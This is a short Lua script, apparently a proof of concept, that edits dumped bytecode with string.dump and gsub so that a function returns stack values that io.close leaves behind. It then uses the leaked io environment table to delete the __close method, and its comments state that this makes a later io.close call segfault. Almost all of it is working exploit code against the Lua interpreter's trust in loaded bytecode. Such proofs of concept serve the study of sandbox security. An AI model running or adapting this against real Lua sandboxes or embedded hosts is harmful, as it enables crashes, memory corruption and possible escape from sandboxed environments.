-- Define a Lua function which calls a 'complex' C function
function X()
io.close()
end
--[[
X currently looks something like this:
(2 locals, 2 constants)
GETGLOBAL "io"
GETTABLE "close"
CALL register 0
RETURN nothing
--]]
-- Make some modifications to X
Xs = string.dump(X)
Xs = Xs:gsub("\2(\4%z%z%z)","\20%1") -- num locals, num instructions; 2, 4 -> 20, 4
Xs = Xs:gsub("\30%z\128%z","\30\0\0\8") -- return nothing -> return all locals
X = assert(loadstring(Xs))
--[[
X now looks something like:
(20 locals, 2 constants)
GETGLOBAL "io"
GETTABLE "close"
CALL register 0
RETURN registers 0 through 16
Calling X now returns some of what io.close left on the stack when it returned!!!
--]]
-- Take the io environment table, and remove the __close method
select(3, X()).__close = nil
--[[
Call io.close again, within which, these two lines cause a segfault:
lua_getfield(L, -1, "__close");
return (lua_tocfunction(L, -1))(L);
--]]
X()